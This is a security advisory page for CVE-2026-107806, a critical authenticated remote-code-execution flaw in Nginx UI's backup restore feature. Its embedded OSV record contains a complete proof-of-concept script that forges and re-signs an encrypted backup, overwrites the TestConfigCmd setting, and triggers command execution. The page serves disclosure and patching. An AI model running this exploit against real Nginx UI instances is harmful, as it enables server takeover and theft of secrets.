CVE-2026-107806: Nginx UI Remote Code Execution Vulnerability
CRITICALCVE-2026-107806 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Nginx UI libraries in the Go ecosystem. The issue involves authenticated remote code execution via backup restore app config overwrite. Remediation is available by upgrading affected packages to version 1.9.10-0.20260728074146-a467ed652591.
CVE-2026-107806 at a Glance
How to Fix CVE-2026-107806
To remediate this vulnerability, upgrade all affected Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728074146-a467ed652591
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/Nginx-UI
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-107806, inspect your project dependencies for Nginx UI:
inspect dependencies for github.com/0xJacky/Nginx-UI
Analyze the terminal output to locate any version of Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20260728074146-a467ed652591), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-107806 Affected Nginx UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/Nginx-UI
|
Go |
≥ 1.9.10-0.20260421071512-7864e378f5cf
< 1.9.10-0.20260728074146-a467ed652591
|
1.9.10-0.20260728074146-a467ed652591
|
References
Frequently Asked Questions
What is CVE-2026-107806?
Which Nginx UI versions are affected?
What version fixes CVE-2026-107806?
Is github.com/0xJacky/Nginx-UI affected?
What CWE is associated with CVE-2026-107806?
How can I check Go dependencies for CVE-2026-107806?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p393-cf76-4jmr",
"modified" : "2026-10-09T20:45:02Z",
"published" : "2026-10-09T20:45:02Z",
"aliases" : [ "CVE-2026-107806" ],
"summary" : "Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite",
"details" : "## Summary\n\nAn authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`.\n\nThis was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`.\n\n\n\n\n## Impact\n\nAn authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.\n\n## Affected Version / Environment\n\n- Version: `nginx-ui 2.3.11 2(523) 6c86e5a5`\n- Deployment: local Docker, `uozi/nginx-ui:latest`\n- Base URL used in validation: `http://127.0.0.1:8080`\n\n\n## Root Cause\n\n`/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path.\n\nRelevant code paths:\n\n- `api/backup/router.go`: `POST /api/restore`\n- `api/backup/restore.go`: accepts `security_token` and uploaded backup file\n- `internal/backup/manifest.go`: derives backup signing key from supplied AES key\n- `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini`\n- `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths\n\n## Proof of Concept\n\nAssumptions:\n\n- nginx-ui is already running.\n- `$TOKEN` is a valid user JWT.\n- `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks.\n\n```bash\nexport BASE='http://127.0.0.1:8080'\nexport TOKEN='<valid nginx-ui JWT>'\nexport CONTAINER='nginx-ui'\n```\n\nRun only against a disposable local instance.\n\n```bash\nset -eu\n\nTMP=$(mktemp -d)\ntrap 'rm -rf \"$TMP\"' EXIT\n\ndocker cp \"$CONTAINER\":/etc/nginx-ui/app.ini \"$TMP/app.ini.original\"\n\ncurl -sS -D \"$TMP/backup.headers\" -o \"$TMP/backup.zip\" \\\n -H \"Authorization: $TOKEN\" \\\n \"$BASE/api/backup\"\n\nSEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub(\"\\r\",\"\"); print $2}' \"$TMP/backup.headers\")\nKEY_B64=${SEC%%:*}\nIV_B64=${SEC#*:}\nKEY_HEX=$(printf '%s' \"$KEY_B64\" | base64 -d | xxd -p -c 256)\nIV_HEX=$(printf '%s' \"$IV_B64\" | base64 -d | xxd -p -c 256)\n\nmkdir -p \"$TMP/outer\" \"$TMP/inner\"\nunzip -q \"$TMP/backup.zip\" -d \"$TMP/outer\"\nopenssl enc -d -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n -in \"$TMP/outer/nginx-ui.zip\" \\\n -out \"$TMP/nginx-ui.clear.zip\"\nunzip -q \"$TMP/nginx-ui.clear.zip\" -d \"$TMP/inner\"\n\npython3 - \"$TMP/inner/app.ini\" <<'PY'\nfrom pathlib import Path\nimport sys\n\np = Path(sys.argv[1])\ncmd = \"TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce\"\nlines = p.read_text().splitlines()\nout = []\nin_nginx = False\nseen_nginx = False\nwritten = False\n\nfor line in lines:\n s = line.strip()\n if s.startswith(\"[\") and s.endswith(\"]\"):\n if in_nginx and not written:\n out.append(cmd)\n written = True\n in_nginx = s.lower() == \"[nginx]\"\n seen_nginx = seen_nginx or in_nginx\n if in_nginx and s.startswith(\"TestConfigCmd\"):\n if not written:\n out.append(cmd)\n written = True\n continue\n out.append(line)\n\nif in_nginx and not written:\n out.append(cmd)\nelif not seen_nginx:\n out.extend([\"\", \"[nginx]\", cmd])\n\np.write_text(\"\\n\".join(out) + \"\\n\")\nPY\n\n(cd \"$TMP/inner\" && zip -qr \"$TMP/nginx-ui.modified.clear.zip\" .)\nopenssl enc -aes-256-cbc -K \"$KEY_HEX\" -iv \"$IV_HEX\" -nosalt \\\n -in \"$TMP/nginx-ui.modified.clear.zip\" \\\n -out \"$TMP/outer/nginx-ui.zip\"\n\nOUTER=\"$TMP/outer\" KEY_B64=\"$KEY_B64\" python3 <<'PY'\nfrom pathlib import Path\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport os\n\nouter = Path(os.environ[\"OUTER\"])\nkey = base64.b64decode(os.environ[\"KEY_B64\"])\nmanifest = json.loads((outer / \"manifest.json\").read_text())\n\nfor entry in manifest[\"files\"]:\n data = (outer / entry[\"name\"]).read_bytes()\n entry[\"sha256\"] = hashlib.sha256(data).hexdigest()\n entry[\"size\"] = len(data)\n\nmanifest[\"files\"] = sorted(manifest[\"files\"], key=lambda e: e[\"name\"])\nmanifest_bytes = json.dumps(manifest, separators=(\",\", \":\")).encode()\n(outer / \"manifest.json\").write_bytes(manifest_bytes)\n\nsigning_key = hashlib.sha256(b\"nginx-ui-backup-signing-v1:\" + key).digest()\n(outer / \"manifest.sig\").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())\nPY\n\n(cd \"$TMP/outer\" && zip -qr \"$TMP/malicious-restore.zip\" manifest.sig nginx-ui.zip nginx.zip manifest.json)\n\ncurl -sS -X POST \"$BASE/api/restore\" \\\n -H \"Authorization: $TOKEN\" \\\n -F \"restore_nginx=false\" \\\n -F \"restore_nginx_ui=true\" \\\n -F \"verify_hash=true\" \\\n -F \"security_token=$SEC\" \\\n -F \"backup_file=@$TMP/malicious-restore.zip\"\n\nsleep 10\nfor i in $(seq 1 80); do\n curl -sS -o /dev/null -H \"Authorization: $TOKEN\" \"$BASE/api/settings\" && break\n sleep 0.5\ndone\n\ncurl -sS -X POST \"$BASE/api/nginx/test\" \\\n -H \"Authorization: $TOKEN\"\n\ndocker exec \"$CONTAINER\" sh -lc 'cat /tmp/nginx-ui-restore-rce'\n\n# Cleanup and return the disposable instance to its original config.\ndocker cp \"$TMP/app.ini.original\" \"$CONTAINER\":/etc/nginx-ui/app.ini\ndocker exec \"$CONTAINER\" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'\ndocker restart \"$CONTAINER\"\n```\n\nExpected output:\n\n```text\n{\"nginx_ui_restored\":true,\"nginx_restored\":false,\"hash_match\":true}\n{\"message\":\"\",\"level\":-1,\"test_scope\":\"global\"}\nrestored-rce\n```\n\n## Cleanup\n\nThe PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests.\n\n## Patch Guidance\n\nRequire an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/Nginx-UI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.9.10-0.20260421071512-7864e378f5cf"
}, {
"fixed" : "1.9.10-0.20260728074146-a467ed652591"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p393-cf76-4jmr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107806"
}, {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/commit/a467ed652591fc0cd1b466a1ec751b493faef9f7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
}, {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-09T20:45:02Z",
"nvd_published_at" : "2026-10-09T15:17:10Z"
}
}